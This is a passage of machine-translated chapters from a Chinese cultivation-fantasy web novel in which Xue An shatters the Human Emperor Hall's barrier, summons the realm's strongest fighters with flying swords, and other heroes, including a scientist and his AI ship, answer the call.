    At the same time, on the square in front of the main hall of the Human Emperor Hall, the Lord of the Human Emperor Hall was ruthlessly sitting on the dragon chair.


    Standing under the steps are the officials of the Imperial Palace.


    There is no doubt that those who can appear here are the highest level of the Human Emperor Hall.


    What is strange is that the many military masters and masters who stood in the front row and were supposed to offer advice at this time, all looked dull and silent at this moment.


    On the contrary, some ordinary customs officers were very excited, whispering to the people beside them, whispering.


    Some people even looked at the figure outside the light curtain with sarcasm.


    "Tsk tusk, I dare to come over to challenge our palace with such a small number of people, it''s really impatient to live!"


    "Who said no, or our majesty and these Taifu military masters did not say anything, I guess we have already made perfect preparations!"


    But these people who were talking quietly did not notice. Just as they were speaking, a strange cold light flashed in the eyes of the Lord of the Human Emperor Palace.


    At this moment, only a loud bang was heard, and the light curtain covering the entire Human Emperor Hall also trembled slightly.


    Xue An, take it!


    Under the gaze of countless pairs of eyes, Xue An slammed against the blue light curtain with a punch.


    The huge force shook the entire light curtain trembling like water, but soon, the light curtain stabilized, and even the faint blue luster did not flicker.


    At this time, whether it was the crowd watching from a distance or the disciple of the doorman in the Palace of Human Emperor, all agitated slightly.


    "What am I talking about? This Red Lotus Immortal Venerable has a good strength, but he is not a real Immortal Venerable after all. It is impossible to break such a powerful light curtain of protecting the mountain by himself. !" Someone sneered.


    There was even more laughter in the Palace of Human Emperor.


    "Hahahaha I knew it would be like this, and I still want to attack my palace, bah, dream it!"


    "If you have nothing to do, go home and hug your child!"


    For a time, all kinds of banter flew all over the sky.


    But Xue An didn''t seem to hear it at all, and even owed a trace of extra expression.


    He just stared coldly at the seemingly impenetrable light curtain in front of him, and then slowly raised his hand.


    "Let''s save effort, the result of more punches will be the same!" Someone couldn''t help but sneer after seeing this scene.


    But at this moment, Xue An''s hand suddenly showed a thin to almost transparent sword intent.


    But just such a sword intent, when it appeared, the pupils of Jiu Jian Xian Linghu Jue, Jian Zaixin and others shrank.


    Because they can feel that in this sword intent that seems to be able to be broken at any time, it contains invincible power.


    Even just looking at it like this makes my eyebrows tingle my face is cold.


    Xue An slowly raised his hand and swung his sword down.


    There is no sound, no air flow, not even any unnecessary movements.


    This sword intent was like cutting butter with a hot knife, and easily cut a huge gap in front of the blue light curtain.


    It wasn''t until Xu Zhiyao was fully cut inside that this sword intent was wiped out and turned into nothing.


    Not only that.


    The wound cut by this sword intent seemed to contain a strange power, blocking the surging blue light, making it impossible to recover.


    At this time, the audience was silent.


    The people who vowed to say that Xue An would never break through the light curtain of the mountain with his own power were all dumbfounded at this moment.


    Especially the people in the Palace of the People in the light curtain, their faces were full of horror.


    Who would have thought that the seemingly unbreakable light curtain, under Xue An''s sword, would be as vulnerable as tofu.


    At the same time, Xue An slowly raised his head, raised his eyebrows slightly, and said slowly in an indifferent tone.


    "The so-called indestructible, it turns out that it is just that!"


    After that, Xue An stretched out his hand again, plunged directly into the void in front of him, and then yanked out.


    Click!


    A sword intent that was countless times stronger than the previous sword intent was just pulled out by Xue An a little bit.


    Suddenly, a sword intent that was more than hundreds of miles long suddenly appeared, shaking the entire universe.


    Everyone couldn''t help closing their eyes and turning their heads.


    Because this sword intent is too strong, and even people dare not look directly at it.


    At the same time, but seeing Xue An raise his sword, cut down.


    Before the sword intent came, the blue light curtain had burst into layers.


    Then Jian Yi straightly cut through it, and fell down towards the entire Human Palace.

 Chapter 2079： The emperor

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    boom!


    Under the pressure of the sword intent, the entire Human Palace began to shake violently.


    A look of horror appeared on the faces of all the disciples.


    Because the power of this sword is too strong, so strong that it is desperate.


    But at this moment, there was a cold snort from the square in front of the hall.


    "Do you really think...I am a bully?"


    With the voice, but seeing the Lord of the Human Emperor Hall Ruthlessly rise from his seat, his eyes flashed, and then a huge virtual image appeared from the top of his head.


    This imaginary statue wears a Mianqi head and a robe embroidered with twelve chapters. It is majestic and majestic, just like an ancient emperor, and it makes people afraid to look directly.


    "Oh my god, it''s the emperor''s face!" Someone among the crowd of onlookers exclaimed.


    As for the disciples of these people''s palace, they all took a breath.


    Because in their opinion, as long as the lord of the palace displayed this man''s emperor, it means that the battle is about to end.


    really.


    When the sword intent came to the head of the human emperor, he suddenly raised his broad palm, held the sword intent directly in his hand, and then snapped together.


    Bang!


    The sword intent shattered and returned to nothingness.


    Then he saw a contemptuous smile on the face of this emperor, and he shouted in a rumbling voice.


    "With this strength, dare to show off in front of me?"


    The shouts were thunderous, and they ran over the four fields, and also made the audience awe.


    A solemn color appeared on the faces of many people.


    Especially those who have good intentions towards Xue An secretly squeezed a cold sweat for Xue An.


    Only Xue An''s face was calm, and he even gave a ruthless look with a smile, and then said lightly.


    "Really? Then take my sword again!"


    With that, Xue An flipped his wrist, Tianzhu Sword appeared in the palm of his hand, and then stabled forward.


    The sword body was completely submerged in the void, and when it reappeared, it had already come to the center of the eyebrows of this human emperor, and pierced straight forward.


    There were no waves in the whole process, and it was as easy as a naughty child playing.


    But with such a sword, there is no time for this person''s emperor to react.


    Unexpectedly, the tip of the sword had slightly pierced the center of the eyebrows of Human Emperor Faxiang, half an inch deep.


    And the condensed sword intent went deep into it, causing the entire body of this human emperor to flicker.


    No one expected that the situation would turn around so much in such a short period of time.


    But at this moment, I only heard this human emperor''s face screaming loudly, "I am not the emperor of the world, who dares to make trouble in front of me!"


    Words fall.


    The mighty power instantly stagnated the advancement of Tianzhu Sword.


    Immediately afterwards, in front of this human emperor, a light pattern flashed, suddenly forming the appearance of a huge seal.


    Then it said in a hollow but majestic voice: "I am the world, death!"


    boom!


    This Fang Xiyin smashed into the void following the Tianzhu sword, and instantly appeared in front of Xue An.


    The whole process can be described as extremely fast, not only that, the seal of the square is still growing crazily, and after being in front of Xue An, it has become similar to a hill.


    "The seal of the emperor, the surname Xue is over!" Someone couldn''t help but sigh lightly.


    Because this seal of the human emperor is the top secret treasure of the human emperor��s palace, after dozens of generations of emperors�� training, this seal contains the supreme human emperor��s aura. Even Tiandao must retreat for it.


    It can be said that once you get close by the seal of the emperor, then you have only one word besides surrender, death!


    So there was a commotion in the audience.


    After seeing the seal successfully appearing on Xue An''s head and covering it, a smug smile appeared on this ruthless face.


    But the next second, the smile on his face completely solidified.


    Because at this moment, the Tianzhu sword that was directly between his eyebrows slammed forward again.


    puff!


    As the sword intent came, the head of this emperor''s face was instantly exploded with a big hole.


    At the same time, under the seal, Xue An''s indifferent voice came.


    "A clone, dare to make times in front of me?"


    With that, the seal of Fang''s seal suddenly stopped, and then dense cracks appeared on it, and finally it broke apart.


    Then in the smoke and dust, Xue An came out, his clothes wafting like an immortal.


    There was deathly silence.


    And at the same moment, I saw the human emperor howling miserably, and then started from his head, bursting into pieces.


    In the blink of an eye, this human emperor''s face was completely shattered and disappeared in front of everyone.


    Gudong!


    Many people swallowed subconsciously.


    Luo Ruqing stood still in the air, her eyes twinkling, she didn''t know what she was thinking.


    Xue An stepped forward and came directly to the ruthless face, looking down at him condescendingly, only to smile slightly after a long time.


    "I''m sorry, but it seems that your temptation has also failed."


    As soon as this sentence came out, Luo Ruqing''s eyes suddenly burst into bright brilliance, and stared at Xue An for a long time and then slowly said.


    "So you knew it!"


    "Of course!" Xue An said slowly: "From the time you spied on me behind this clone, I already knew it."


    Luo ruthlessly looked at Xue An, the brilliance in his eyes was growing, and an unusual aura appeared faintly, as if there was another person hiding in this body.


    This scene also drew exclamations from the audience.


    "What is going on? And what is going on with the clone Xue An just said?" Someone exclaimed.


    "Gosh, look at it!"


    In the field at this time, things happened again.


    This ruthless body was rapidly shattering, and soon there were only the two eyes that exuded brilliance.


    And from the eyes, there was a majestic voice.


    "The surname is Xue, you deserve to be the Red Lotus Immortal Venerable who used to be all-powerful. You really have something to do with it, but you should also understand what the trend is."


    "Oh? What is the trend?" Xue An raised his eyebrows slightly.


    "It''s very simple. The big men from the outside world conquer the heavens. This is the irreversible trend. Therefore, the person who knows the current affairs is a good man. As long as you are willing to bow your head, all your previous accounts can be written off. Imagined room for progress, are you willing?"


    These words appeared in Xue An''s mind directly as a divine mind.


    But Xue An sneered, then stared at the eyes floating in the air, and said lightly: "Sorry, I don''t want to!"


    "And I never believe in general trends. The only thing I believe in is the sword in my hand!"


    "You..." The voice in these eyes became angry.


    But at this moment, he saw Tianzhu in Xue An''s hand cut out a very beautiful arc.

 Chapter 2080： 1 piercing arrow, 0 army and ten thousand horses to meet

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    With two puffs, these eyes were chopped in half, pus and blood spilled on the ground, and a faintly angry howl came from the void.


    But all to no avail, so soon, everything returned to silence.


    At this point, the Lord of the Palace of Human Emperor Luo ruthlessly disappeared in front of everyone.


    The sound of people breathing can be heard quietly in the audience.


    Because everyone was stunned by this series of changes.


    And at this moment, when Xue An raised his head, his eyes swept across the people in the Human Emperor Hall, and then he stomped his foot suddenly.


    boom!


    The sword of seeking evil appeared directly, rushing down like a dragon going out to sea, while Xue An turned around and strode away.


    Did not even glance at the final result.


    Because he knew that everything was over.


    It''s the day.


    Xue An destroyed the Palace of Human Beings with his own power, and the news spread, shocking the world.


    But this was just the beginning. In the next few days, Xue An destroyed dozens of top sects, including Qinghailou Jingyuesi, with a force of destruction.


    The speed was so fast that people were shocked and numb afterwards.


    Some people even lamented, "After this battle, the heavens will be the land of Xue An alone!"


    But that is when people are speculating about how this powerful returning Red Lotus Immortal Venerable will rule the world after the extinction of these Xinghai Masters.


    Xue An announced a news suddenly.


    The content of the news is about the great catastrophe that the entire heavens are about to face, and how the sects such as the Emperor Palace of the Xuanming Tomb and the Qianhe Palace colluded with the forces of the outside world to overthrow the heavens.


    The news of Xue An spread directly in the situation of divine consciousness broadcasting, so within a day, it spread to the major sects of the entire heavens.


    In a moment, the entire heavens were silent.


    Although many sects have actually vaguely noticed something, there are still many people who are not aware of these things.


    So when they heard the news, they were shocked.


    Even if others tell them these news, they will definitely be considered a liar.


    But Xue An is telling them the news now!


    They can''t help but believe the iron facts.


    Ever since, almost everyone is lost.


    Because they don''t know how to face this predicament, let alone how to solve the coming catastrophe.


    Some people even think that the heavens must be finished, and they have made many self-defeating actions in despair.


    For a time, the entire heavens can be described as gloomy clouds and mists, and a wailing.


    Under this situation, Xue An led the sword repairs back to the sword palace.


    Those who stay here naturally already know what is happening outside, so they come to meet them with admiration.


    But they did not see Xue An, because Xue An flew into the star field early to see his wife and daughter.


    But soon, Xiaosha and Zhang Xiaoyu led the miss out, but Xue An and An Yan were still missing.


    It was not until a long time later that the two of them appeared in front of everyone.


    Although there was no change on the surface, the sharp-eyed Octopus still noticed An Yan''s face slightly flushed.


    This couldn''t help making her laugh, but she didn''t dare to say anything. She could only make a few grimacing faces at Xiaosha, only to be honest after a few slaps.


    Soon, Xue An took care of the matter, everyone dispersed, and even An Yan and Miss Missing also left.


    But there was one person who did not leave, and that was the wine sword fairy Linghu Jue.


    It was not until everyone had left that he walked forward, clasped his fists and arched his hands, and said in a deep voice: "My lord!"


    But before he could continue to speak, Xue An waved his hand with a smile.


    "Needless to say, let''s have a cup of tea first!"


    With that, Xue An flew directly to the side of the high platform where Li Jingxing was in retreat, then placed a tea cup and started to make tea.


    Linghu Jue stood aside and watched with some restraint.


    Soon, with the charcoal fire, a refreshing tea fragrance floated from the teapot. Xue An skillfully filled two cups of tea, and then said without raising his head: "Sit!"


    Linghujue sat on the opposite side respectfully, then picked up the tea cup, took a sip, and his eyes lit up.


    "How does it taste?" Xue An said lightly.


    "Good tea!" Linghu Jue exclaimed sincerely.


    Xue An smiled, and then his eyes drifted to Li Jingxing who was still in retreat in the distance, and said lightly: "Let''s talk, what do you want to ask."


    Linghu looked hard, then put the teacup on the table, and after some thoughts, he spoke slowly.


    "My lord, what do you plan to do next after you make the news public?"


    Xue An turned his eyes and glanced at Linghu absolutely, "What do you think I should do next?"


    Linghu Jue gave a wry smile, "I don''t know."


    But immediately he said cautiously: "But I feel that if you want to survive this catastrophe, you have to gather the power of all the heavens, so you should issue a summoning order so that all the strong come to discuss this matter."


    Xue An smiled.


    "Is that what you want to say to me? Or do you want to teach me how to do things?"


    Linghu Jue turned pale, and hurriedly said: "I don''t dare to humble, but I just think that the strong men of the heavens are now in confusion and despair If this goes on, I am afraid it will hurt morale! "


    Xue An remained silent, but gently turned the tea cup on the table with his long fingers.


    Linghu Jue also obediently closed his mouth.


    It was not until a long time later that Xue An suddenly chuckled.


    "I know what you said. The reason why I didn''t issue a second order is to let them stay in this atmosphere for a while. After all... there is nothing more calming than fear. What do you say?"


    Looking at the indifferent smile on Xue An''s face, Linghu Jue''s heart trembled, and immediately lowered his head deeply.


    "My lord''s opinion is humble and dull!"


    "But what you said is not bad. If you keep doing this, it will hurt morale, so..."


    A small sword suddenly appeared in Xue An''s hand, and then stroked the blade lightly, and said lightly: "It''s time for people to move!"


    After saying this, Xue An waved his hand abruptly, and the small sword rushed up, flew into the clouds of Nine Heavens, and then exploded.


    Countless sword lights rushed away, flying in all directions.


    Linghu Jue watched this scene blankly, and suddenly Ji Lingling shuddered.


    Because a sentence suddenly appeared in his mind.


    A piercing arrow, thousands of troops come to meet!


    At the same time, Xue An slowly drank the cup of tea, his eyes were as bright as jade, and he whispered softly.


    "This catastrophe, after all, will end in this way."


    And that is, when the water in the tea cup was not yet cold, the whole sky was shaken by the small sword issued by Xue An.


    Almost all the sects received the notice of these small swords in the first time.


    But more importantly, there were still many small swords flying into the remote void depths, shocking countless hidden masters.

 Chapter 2081： Run into VIPs

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    In the remote place of the star sea, there is an ordinary planet.


    The planet is unremarkable, and its aura is very ordinary, so the highest-ranking practitioner that has ever appeared on this planet in history is just a true fairy.


    There is no other reason, it is because the planet''s aura and resources can''t support higher-level powerhouses.


    But despite this, there are still many sects and cultivators on this planet.


    And because of the shortage of resources, the cultivators here have become more fierce with each other, and the sects slaughter each other more frequently.


    In short, this is an ordinary planet that even interstellar pirates don''t even bother to rob, and it is also a truly barren land.


    And at this moment, under a high mountain above this planet, stands this small town.


    The town is not big, it is built on the hill, and there are only two streets in total, but it is very prosperous.


    Especially now, because the planet''s premier sword sect Xianyue Sect is about to open, the town is full of people, from all directions, there are countless young people trying to worship Xianyue Sect.


    There have been savvy merchants who have caught sight of the business opportunities and made preparations early. Whether it is a hotel or a tea shop, they have made a lot of money.


    But the most profitable is the Jianguan on the street next to each other!


    I saw that the doors of these swordsmen were all hung with big slogans, and all kinds of advertising slogans were written in eye-catching big characters.


    For example, the eighteenth generation of direct disciples of Xianyue Sect opened a school to accept disciples, and the Great Elder Waishan of Xianyue Sect personally gave instructions.


    Such words are simply dazzling and dazzling.


    But no matter what the slogan is, it basically carries the three characters of Xianyuezong.


    Because the people who practice swords here know a truth, all who can come to this small town are for the reputation of Xianyue Sect.


    So Xianyuezong is their golden sign.


    As long as you play this banner, wait for the disciple to come.


    The reason is very simple. Every year when the Moon Sect opens the mountain, only ten disciples are accepted, but there are thousands of young people who come here to apprentice.


    Such a disparity in proportion makes the number of people who can successfully worship Xuanyue Sect is very rare. Even if they do, they are basically the children of wealth and nobility, and most people don''t even think about it.


    But other people can''t come in vain when they come, so these swordsmen have a good sense of psychology, and they want to accept disciples in the name of Xianyuezong and earn high tuition fees.


    What''s more, they even lied to say that they have behind-the-scenes channels through which people can worship Xianyue Sect through operation, provided that they must worship and practice in the sword view for three years.


    In short, the whole town has become extremely prosperous because of Xianyue Sect, and the streets are almost full of people.


    But at this moment, there was a sudden sound of abuse from the corner of the street.


    "Where is the stinky beggar? Is this a place where you can come? Don''t get out of here!"


    With the voice, he heard a plop, and a thin and dirty old man was pushed down on the street.


    Passing pedestrians evaded one after another, but there were also many good people who stopped and stayed to watch the excitement.


    I saw that the old man was skinny as if only a handful of bones were left. His clothes were ragged, especially his eyes, with ominous white light, and he was actually blind.


    And on the steps of a restaurant on the side of the road, a shopkeeper stood proudly, still chattering.


    "Damn, I''m still a blind man, really bad luck! Tell you, I am here for a while to entertain Xianzong distinguished guests. If you run into a distinguished person, your ten lives will not be enough to pay, so let''s get out of here, the province is dirty My ground here!"


    What is strange is that in the face of Xiaoer''s verbal abuse, the old man did not have the slightest expression on his face, he was very calm.


    Even when a good-hearted person stepped forward to support him, there was no emotional fluctuation on his face.


    But it was this kind of silent silence that made the shop Xiaoer feel a trace of invisible pressure, and even subconsciously, the curse in his mouth became much smaller, and he could only mutter in a low voice.


    "Dead blind man, dare to keep his face straight and be careful while walking and falling to death..."


    The words were not finished yet, but I saw several sword lights flying over from a distance, and then landed on the field.


    After showing up, there were a few young girls with proud faces wearing the clothes of Xianyuezong disciple.


    As soon as he saw these people, the little second in the shop changed his expression, his face was filled with smiles, and then he rushed all the way.


    "Several Xianzong distinguished guests, the food has already been prepared, please come in quickly!"


    The shopkeeper nodded and bowed, looking like a slave girl.


    But these disciples of Xianyue Sect didn''t even look at him directly, they just raised their heads and glanced at this restaurant.


    Then one of the girls covered her mouth and said in disgust, "Brother, is this what you said?"


    A teenager in the lead nodded, "Yes."


    "But I think this restaurant is very ordinary, just such a mortal restaurant, what can be delicious?"


    "You''ll know if you taste it, the chef''s craftsmanship in it is pretty good."


    As the young man said, he walked in, and everyone followed.


    But at this moment, the old man just turned around and prepared to walk to the long street. UU reading www. uukanshu.com


    Coincidentally, he happened to confront the girl who had spoken before.


    When seeing the old man in ragged clothes, the young girl frowned, stepped back, and said with disgust.


    "How come there are all kinds of people here, even the beggars have come out! Seeing him, I don''t have any mood to eat!"


    As soon as the words came out, the leading young man stopped, turned his head and glanced at the old man, then looked at the shopkeeper, and shouted coldly.


    "How is this going?"


    The shopkeeper''s face turned pale when he was frightened, "I...I don''t know who this person is, I...I will drive him away now!"


    "No need! A dead blind man would dare to bump into the junior sister, kill it!" Among these people, a young man with a gloomy face sneered.


    "That''s right, how noble the junior sister exists, she was hit by such a humble thing, not killing it is not enough to calm the anger!" The person next to her also echoed.


    The young man in the lead was silent when he heard the words, but a faint sword light appeared in front of him.


    "Senior brother is so amazing, he can condense the sword light so quickly!" The girl couldn''t help but admiringly said.


    The young man smiled quite contentedly, then turned to the old man and said faintly: "It''s the blame that you shouldn''t be here, and it''s an honor for you to die under my sword!"


    As he said, the sword light in front of him suddenly increased, and then he went straight to the old man and cut it over.


    The passers-by onlookers closed their eyes, and the old man was dead!


    A smug look appeared on this girl''s face, like a urchin playing with ants, full of innocence and cruelty.


    But what happened next completely solidified the pride on her face.

 Chapter 2082： One who destroys this sect, 1 autumn leaf

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    I saw this sword light just rushed to the old man, and it melted into the invisible like snow meeting the scorching sun.


    Not only that, but the young man with a sword glow was like a heavy hammer. He was blasted back more than a dozen steps and spurted blood out.


    This time, the audience was shocked!


    No one thought that things would be such a result.


    And just as everyone was dumbfounded, the old man blinked his godless eyes and then walked away.


    As far as the momentum came, no one dared to stop him, and immediately gave way.


    Soon, the old man walked past the young man who was shivering in the shop.


    The shop Xiaoer trembled more severely, but the old man didn''t say anything, just paused for a while, and then continued to walk forward.


    The young girl was also dumbfounded, she could only look at the old man who came by with a dull expression.


    It wasn''t until she was close to her that the old man said his first sentence.


    "People like you are not worthy of swords at all!"


    As soon as this statement came out, all of these Xianyue Sect disciples showed a sense of indignation, and a cold light flashed in the eyes of several people.


    But the old man only said such a sentence, and then walked away.


    As soon as he walked away, the girl''s eyes showed deep humiliation, and she looked at the other teenagers next to her and nodded slightly.


    Immediately afterwards, the girl suddenly crushed the jade decision in her hand.


    A little brilliance soared into the sky, and then burst into the air, turning into a sky full of fireworks.


    It is the unique distress signal for the disciples of Xianyue Sect.


    Once it is issued, it means encountering a dangerous situation that is difficult to deal with, and the nearby Crescent Moon Sect will come in the first time.


    People in this small town naturally understand what this means, and their faces turn white after a sigh.


    Many timid people disappeared immediately and silently.


    Because they know that a big storm will soon come.


    In particular, this small town is too close to the Crescent Moon Sect, and the impact must be stronger.


    To be safe, it is natural to hide as far as possible.


    As for this old man...


    In the eyes of many people, he is now a dead man.


    really.


    It was just a few breathing scenes, but I saw the brilliance of the high mountain in the distance, and hundreds of sword lights came straight to the town.


    At the same time, the leader shouted in a majestic voice: "Who would dare to make trouble under the gate of my Xianyue Sect?"


    Wherever the sound waves reach, the majesty is extraordinary.


    Someone exclaimed in a low voice: "It''s the Great Evil Punisher of Xianyue Sect. He actually came out of the mountain in person. Now things are even bigger!"


    For a while, everyone left the old man far away, for fear of being implicated again.


    But the old man''s face still didn''t have any expression, as if the words of the elder of the Crescent Moon Sect''s punishment of evil were just wind in his ears, he continued to walk forward slowly.


    Seeing that these hundreds of sword lights were about to fly over the small town, but at this moment, a small sword suddenly drew through the void, pierced the sky, appeared on the planet, and exuded bright and bright Unique sword intent.


    Said it is brilliant, because the sword intent is so strong that it is shocking.


    To say it is unique is because the information contained in this sword intent is only qualified to interpret the information contained in the sword.


    Therefore, whether it was the people present, the powerhouses of the Xianyue Sect, or even all the sects of the entire planet, they just felt a powerful and incomparable pressure suddenly appeared, but they had no idea what happened.


    When the whole planet was in chaos, the old man suddenly raised his head, staring at the sky with his godless eyes, and then whispered softly.


    "The calamity of the outside world, call a group of heroes to punish it... Hehe, I really didn''t expect that this dead man who has been beaten blind is still remembered. Anyway, then I will go this time!"


    After that, the old man trembled slightly, and his extremely thin body immediately became plump, and at the same time, his aura changed.


    Originally, he was just an ordinary beggar on the street, but in the blink of an eye, he became a peerless powerhouse with a mighty depth.


    These changes made everyone around him dumbfounded.


    The young man who had shot at the old man was shocked when he saw him, and then he wanted to guess the strength of the old man.


    But as soon as the thought of spying came up, the young man''s head burst open and the dead body fell to the ground.


    Not only him, but the young girls who were quite hostile to the old man just now didn''t even have time to hum, they were shocked by the pressure and died in desperation.


    Suddenly, there was only this trembling and terrified shopkeeper in front of the restaurant.


    He miraculously didn''t faint, but opened his eyes wide, staring blankly at the back of the old man.


    At this moment, the back of this old man is as tall as a sword, where there is still a little bit of previous decline


    Immediately afterwards, I saw this old man wave his sleeves, and his whole body rose into the sky, and in an instant he came into the sky.


    At this moment, the Great Evil Punishment Elder of the Crescent Moon Sect led many disciples to stagnate in the sky.


    It''s not that he doesn''t want to move, but that he can''t move at all.


    He just felt that there was a mighty power in the small town under his feet, and in an instant he completely controlled the world around him, making him dare not even move.


    Because he had a clear premonition that if he changed a little, he would definitely die without a place to bury him.


    So he can only stay in the air honestly until the old man arrives.


    After seeing this old man, the eyes of this evil punishment elder gradually widened, and his eyes were full of panic.


    Because he was shocked to discover that with his own strength, he could not even see through the power of this old man.


    This shows that the strength gap between the two can hardly be counted.


    And just at this moment, the old man blinked those godless eyes to look at this evil punishment elder.


    The evil punishment elder felt his muscles tighten instantly, and his extreme fear made him kneel in the air involuntarily.


    The old man ignored his kneeling, but raised his head slightly, facing the high mountain of Xianyue Sect in the distance, and said calmly: "It seems that your entire sect is not worthy of using a sword!"


    After all, a sword intent shaped like autumn leaves suddenly appeared in front of the old man, and then he slashed down at the distant mountains.


    Rumble!


    The mountain shook violently, and the screams of the disciples of the Xianyue Sect were faintly heard.


    But nothing can stop this sword.


    But in the blink of an eye, this sword cut the mountain in half abruptly from the middle.


    As for this Crescent Moon Sect, it has disappeared and turned into a mess.


    This sword really seemed to shock the sky. Not only did everyone present, but also the sect powerhouses of the entire planet were shocked.


    Because the power of this sword has exceeded their imagination and reached an unimaginable situation.


    However, the old man understated it as if he had done a trivial thing. With his hands behind his back, he said indifferently: "The sword of this school is not right, and one autumn leaf will be destroyed today! If there is an avenger, I am in Xinghaizhi We are waiting anytime!"


    After speaking, the old man raised his head, his sword intent was bright around his body, and then turned into streamer, disappearing in an instant.

 Chapter 2083： As an artificial intelligence, I will not lie...

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    That''s right!


    This old man was exactly the peerless Sanxiu Qiu Yiye who was defeated in the Three Sword Wars before.


    He was smashed by Jian Sanyi sword at that time, but Jian San did not kill him, but let him go with extreme contempt.


    But for Jian Xiu like Qiu Yiye, this attitude itself is a great insult.


    So he disappeared soon, and there is nowhere to go.


    At that time, many people thought that he was dead, but no one thought that he had come to such a remote planet and turned into a beggar.


    This is because after Qiu Yiye was defeated by Jian San at that time, Jian Xin had a big problem, so it became like this.


    In fact, if it hadn''t been for Xue An''s call of this sword, Qiu Yiye would probably sink into this situation, and would never make it out again.


    And that was when Qiu Yiye left for the sword palace star field in accordance with the summoning order issued by Xue An.


    In another corner of the heavens, a huge circle appeared.


    This ring is so huge, and the whole body is made of metal, exuding a cold mechanical beauty.


    But at this moment, on the surface of the star ring, there are many large and small scars, as if they have been hit by countless meteorites, and some deep ones can even see the exposed lines inside.


    "Huh!" Zhang Tianyou, who was sitting on the wheelchair, let out a sigh of relief, then raised his hand and rubbed his sore wrist.


    "Damn, I''m exhausted, I''m finally finished!"


    "Doctor, I have advised you to give up this backward input method, but you just don''t listen. Isn''t it good to use brainwave input?"


    Following the voice, a woman wearing a princess Lolita dress, but still unable to hide the indifferent face, walked in with a cup of hot tea.


    "Huanhuan, that''s what you don''t understand. You will never understand what it feels like to dance with your hands on the keyboard, especially when the crisp keyboard strikes are connected together, it is like a beautiful symphony, so People are intoxicated!" Zhang Tianyou said with a look of obsession.


    The woman raised her eyebrows, "I''m sorry, I really can''t understand the use of two hands to input characters to control the spacecraft through the meteorite sea, and eventually the entire celestial ring almost suffered irreversible damage. What''s so good about it? No need to make any excuses."


    As soon as these words came out, the Zhang Tianyou''s face showed a very embarrassing look, and then he coughed slightly.


    "Ahem, although the fact is true, but Huanhuan...Can you not be so direct and give me some face?"


    Star Ring gave Zhang Tianyou a strange look, then shook his head slightly, "Doctor, I''m sorry, as an artificial intelligence, I can''t lie!"


    Zhang Tianyou looked helplessly, "Okay, I see!"


    After that, he said weakly: "Huanhuan, check the loss, and then repair it!"


    "Good doctor, I have already ascertained the situation. The overall damage of the star ring is 57%, of which 32% can be repaired by itself, and 25% require manual intervention."


    "Then fix it now!"


    "Good doctor."


    After all, Xinghuan''s figure abruptly dispersed, and then merged into the ground, disappearing.


    When only Zhang Tianyou was left in the command cabin, he sighed slightly, then shook his head, and said helplessly, "It''s really uninteresting!"


    Having said that, everyone should have thought of the identity of Zhang Tianyou.


    He is exactly what was mentioned in the previous article, the president of the Science and Technology Change Development Society.


    Of course, until now, his president is still a polished commander, and he is the only one who sweeps the floor.


    At the beginning, this Zhang Tianyou once met Xue An and Huye by chance. After the separation, he drove the star ring to wander all the way among the heavens. After tossing and turning, he actually came to the edge of the heavens. Land, and strayed into the mysterious sea of ??meteorites, and did not come out until today.


    Zhang Tianyou drove the wheelchair, came to the console, looked at the star map on the big screen, and said lightly: "I don''t know if there is any change in the heavens after leaving for so long! Check it out first."


    With that said, Zhang Tianyou conducted the dance ten and performed a dazzling operation on the keyboard.


    In an instant, densely packed codes appeared on the big screen, and the star chart was constantly changing.


    Suddenly!


    Zhang Tianyou stopped his fingers and froze in place.


    "What? The Tribulation of Heaven?"


    Then he began to get excited, "It seems that my previous calculation is correct, there is really a vast space outside the heavens, hahahahaha this is simply too interesting!"


    Zhang Tianyou laughed wildly, and at the same time was extremely excited to control the special radar on the star ring, capturing all the information around him.


    He wanted to find a suitable star road as soon as possible, and then leave the edge of the land to go to the depths of the star sea.


    But at this moment, in the big screen picture, a small sword suddenly appeared.


    When the small sword appeared, the screen immediately locked it firmly.


    Then, before Zhang Tianyou could react, the little sword slowly turned the blade, and the tip of the sword pointed directly at Zhang Tianyou outside the screen.


    Suddenly!


    An extremely bright brilliance broke out from the sword body and then accelerated, and disappeared in place.


    In just an instant, this small sword penetrated the void from the spot, came directly in front of the star ring, and then exploded.


    The majestic sword intent rushed in with a huge amount of information.


    In an instant, a huge amount of pictures and information appeared on the screen in front of Zhang Tianyou.


    Zhang Tianyou watched the information above seriously, and his expression gradually became serious.


    After a long time, the flow of information was interrupted, and Zhang Tianyou sat there silently.


    At this time, the woman wearing a Lolita dress appeared again behind Zhang Tianyou.


    "Doctor, what do we do next? Do you want to hide first?"


    "Dodge?" Zhang Tianyou chuckled, then slowly raised his head, his eyes shining with extremely bright brilliance.


    "On the contrary, we are going to this sword palace star field now, and meet Xue An, because I want to see what kind of power outside the sky can stir the whole heavens so boiling. ."


    "And I have a hunch that this will be the best time for our science and technology to change everything development agency to prove ourselves and grow stronger!"


    Speaking of this, Zhang Tianyou said excitedly: "Now turn around and head towards the Sword Palace Star Territory!"


    "Yes, doctor!"


    Xinghuan immediately began to turn its direction, and then trembled all over, with a faint blue flame spurting from its tail, suddenly accelerated, and disappeared into the void.


    With the speed of this star ring, it takes only a few days to cross hundreds of millions of star regions, not to mention the edge star regions.


    But just as the star ring was about to leave this edge of land, its originally violent speed suddenly stagnated, as if it had crashed into some copper wall and iron wall, and it stopped abruptly.

 Chapter 2084： Mystery girl

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Even if the starring is extremely strong, the huge inertia still made a humming noise inside it, as if it would disintegrate and break apart at any time.


    Zhang Tianyou was shocked and flew out, his head hit the big screen heavily, and he almost fainted.


    Fortunately, the artificial intelligence Huanhuan took over everything in time. The tail flame of the engine that had been injected backwards suddenly turned one direction, canceling out most of the inertia, otherwise the consequences would be disastrous.


    Even so, Zhang Tianyou''s head was smashed out of a big bag, and the whole person was dizzy. He didn''t wake up until a few breaths, and then roared in anger.


    "What the **** is going on? What the **** is going on? What''s up ahead?"


    No wonder he was so angry, because he had been smashed, and blood was still dripping down his forehead.


    At this moment, I saw the previous image slowly appearing on the large screen that was smashed by Zhang Tianyou''s head.


    Then Zhang Tianyou, who was already furious and clamoring wildly, was completely dumbfounded.


    Because just on the big screen, a young girl wearing a pale blue lotus dress suddenly appeared.


    This young girl was only fourteen or five years old, and she was born with a pair of lavender eyes that were like amber, giving a feeling of supremacy and nobility in the flow of Gu Pan.


